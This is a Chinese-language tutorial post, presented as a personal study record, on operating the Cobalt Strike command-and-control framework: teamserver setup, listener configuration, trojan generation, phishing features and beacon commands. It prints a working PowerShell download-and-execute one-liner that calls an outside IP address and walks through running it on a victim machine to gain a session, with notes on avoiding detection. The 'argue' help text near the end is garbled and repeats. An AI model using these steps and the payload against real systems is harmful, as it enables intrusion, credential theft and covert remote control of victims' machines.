本篇文章仅用于学习记录，不得用于其他用途。一、CS简介1、CS简介Cobalt Strike是一款基于java的渗透测试神奇，常被称为CS神奇。自3.0以后已经不在使用Metasploit框 架而作为一个独立的平台使用，分为客户端与服务端 (CS架构的)，服务端是一个，客户端可以有多个，非常适合团 队协同作战，多个攻击者可以同时连接到一个团队服务器上，共享攻击资源与目标信息和sessions，可模拟APT做 模拟对抗，进行内网渗透。Cobalt Strike集成了端口转发、服务扫描，自动化溢出，多模式端口监听，win exe木⻢生成，win dll木⻢生成， java木⻢生成，office宏病毒生成，木⻢捆绑;钓⻥攻击包括:站点克隆，目标信息获取，java执行，浏览器自动攻击等等。官方网站 https://www.cobaltstrike.com/2、为什么有CS非常适合团队协同作战 , 简称多人运动 , 插件也比较丰富 , 也是目前主流的c2工具二、目录结构agscript 拓展应用的脚本 c2lint 用于检查profile文件的错误异常 teamserver 服务端程序 cobaltstrike，cobaltstrike.jar 客户端程序(java跨平台) license.pdf 许可证文件 logs 目录记录与目标主机的相关信息 update，update.jar 用于更新CS third-party 第三方工具 三、安装和运行1、服务端团队服务器最好运行在Linux平台上，服务端的关键文件是teamserver和cobaltstrike.jar，将这两个文件放在同一目录下运行，teamserver要有可以运行的权限。chmod +x teamserver ./teamserver <host> <password> [/path/to/c2.profile] [YYYY-MM-DD] <host> 必需参数 团队服务器IP <password> 必需参数 连接服务器的密码 [/path/to/c2.profile] 可选参数 指定C2通信配置文件，体现其强大的扩展性 [YYYY-MM-DD] 可选参数 所有payload的终止时间 # 一般启动Team Server ./teamserver 192.168.1.1 123456 # 设置强密码，否则容易被爆破，参考附录2、客户端Linux：./cobaltstrike 或 java -XX:+AggressiveHeap -XX:+UseParallelGC -jar cobaltstrike.jarWindows：双击cobaltstrike.exe , `但是一般都有对应平台的启动脚本` 四、菜单栏详情1、Cobalt StrikeNew Connection Preferences Visualization VPN Interfaces Listenrs Script Manager 令行，提权脚本等 # 新建连接，支持连接多个服务器端 # 设置Cobal Strike界面、控制台、以及输出报告样式、TeamServer连接记录 # 主要展示输出结果的视图 # 设置VPN接口 # 创建监听器 # 脚本管理，可以通过AggressorScripts脚本来加强自身，能够扩展菜单栏，Beacon命令行，提权脚本等2、ViewApplications # 显示受害主机的应用信息 Credentials # 显示所有以获取的受害主机的凭证，如hashdump、Mimikatz # 查看已下载文件 Downloads #查看已下载文件 Event Log # 主机上线记录以及团队协作聊天记录 Keystrokes # 查看键盘记录结果 Proxy Pivots # 查看代理模块 Screenshots # 查看所有屏幕截图 Script Console # 加载第三方脚本以增强功能 Targets # 显示所有受害主机 Web Log # 所有Web服务的日志3、Attacks（1）PackageHTML Application MS Office Macro Payload Generator Windows Executable Windows Executable(Stageless) # 生成无状态的可执行exe木⻢（2）Web DriveManageManage #对开启的web服务进行管理 Clone Site #克隆网站，可以记录受害者提交的数据 Host File #提供文件下载，可以选择Mime类型 Scripted Web Delivery #为payload提供web服务以便下载和执行，类似于Metasploit的web_delivery Signed Applet Attack #使用java自签名的程序进行钓⻥攻击(该方法已过时) Smart Applet Attack #自动检测java版本并进行攻击，针对Java 1.6.0_45以下以及Java 1.7.0_21以下 版本(该方法已过时) System Profiler #用来获取系统信息，如系统版本，Flash版本，浏览器版本等 4、ReportingActivity Report # 活动报告 Hosts Report # 主机报告 Indicators of Compromise # IOC报告:包括C2配置文件的流量分析、域名、IP和上传文件的MD5 hashes Sessions Report # 会话报告 Social Engineering Report # 社会工程报告:包括⻥叉钓⻥邮件及点击记录 Tactics, Techniques, and Procedures # 战术技术及相关程序报告:包括行动对应的每种战术的检测策略 和缓解策略 Reset Data # 重置数据 Export Data # 导出数据，导出.tsv文件格式5、HelpHomepage # 官方主⻚ Support # 技术支持 Arsenal # 开发者 System information # 版本信息 About # 关于五、工具栏1.新建连接 2.断开当前连接 3.监听器 4.改变视图为Pivot Graph(视图列表) 5.改变视图为Session Table(会话列表) 6.改变视图为Target Table(目标列表) 7.显示所有以获取的受害主机的凭证 8.查看已下载文件 9.查看键盘记录结果 10.查看屏幕截图 11.生成无状态的可执行exe木⻢ 12.使用java自签名的程序进行钓⻥攻击 13.生成office宏病毒文件 14.为payload提供web服务以便下载和执行 15.提供文件下载，可以选择Mime类型 16.管理Cobalt Strike上运行的web服务 17.帮助 18.关于六、基本流程1、创建监听器什么是监听器 顾名思义，监听器就是等待被入侵系统连接自己的一个服务。 监听器的作用 主要是为了接受payload回传的各类数据，类似于MSF中handler的作用。 比如payload在目标机器执行以后，就会回连到监听器 , 然后下载执行真正的shellcode代码。 一旦监听器建立起来，团队成员只需要知道这个监听器的名称即可，不用关心监听器背后的基础环境，接下来将深 入了解如何准确配置监听器。 一个监听器由用户定义的名称、payload 类型和几个特定于 payload 的选项组成。 监听器的名字一般由以下结构组成Operating System/Payload/Stager 如 : windows/beacon_http/reverse_http点击Cobalt Strike -> Listeners->Add，其中内置了九个Listenerwindows/beacon_dns/reverse_dns_txt windows/beacon_dns/reverse_http windows/beacon_http/reverse_http windows/beacon_https/reverse_https windows/beacon_smb/bind_pipe windows/foreign/reverse_dns_txt windows/foreign/reverse_http windows/foreign/reverse_https windows/foreign/reverse_tcp其中windows/beacon为内置监听器，包括dns、http、https、smb四种方式的监听器;windows/foreign为外部 监听器，配合Metasploit或者Armitage的监听器。Name任意，选择所需的payload，Host为本机IP，port为没有被占用的任意端口 , payload常用的是reverse_http , 点击save即创建成功2、生成木马这里选择其中一种攻击方式作示范，后面再做详细解释, 这里就用powershell一句话做演示 Attacks --> Scripted Web Delivery ( 攻击 -->web钓⻥ -> web投递 )点击开始，复制生成的一句话powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://119.3.12.54:80/index'))"3、运行木马打开受害机的cmd , 运行生成的powershell一句话 , 打开客户端查看 , 上线成功选中受害机右击，选择beacon，即可进行交互，由于受害机默认60秒进行一次回传，为了实验效果我们这里把时 间设置成3，但实际中频率不宜过快，容易被发现sleep 3七、BeaconBeacon是什么Beacon是CS的Payload Beacon有两种通信模式。一种是异步通信模式，这种模式通信效率缓慢，Beacon回连团队服务器、下载任 务、然后休眠;另一种是交互式通信模式，这种模式的通信是实时发生的。 通过HTTP、HTTPS和DNS出口网络 使用SMB协议的时候是点对点通信 Beacon有很多的后渗透攻击模块和远程管理工具 Beacon的类型HTTP 和 HTTPS Beacon HTTP和HTTPS Beacon也可以叫做Web Beacon。默认设置情况下，HTTP 和 HTTPS Beacon 通过 HTTP GET 请求来下载任务。这些 Beacon 通过 HTTP POST 请求传回数据。 当受害机上线以后，右击选择Beacon ，就可以打开Beacon Console 在beacon处输入help可以看到命令说明可用help+命令的方式查看具体命令参数说明beacon> help argue Use: argue [command] [fake arguments] argue [command] argue Spoof [fake arguments] for [command] processes launched by Beacon. This option does not affect runu/spawnu, runas/spawnas, or post-ex jobs. Use argue [command] to disable this feature for the specified command. Use argue by itself to list programs with defined spoofed arguments. Use argue by itself to list programs wUse argue by itself to list programs wUse argue by itself to list programs w退出会话选中会话 , 右键退出回话 , 然后删除回话 , 如果再次上线了, 再删除一次关于socks代理socks port # 启动代理 socks stop # 关闭代理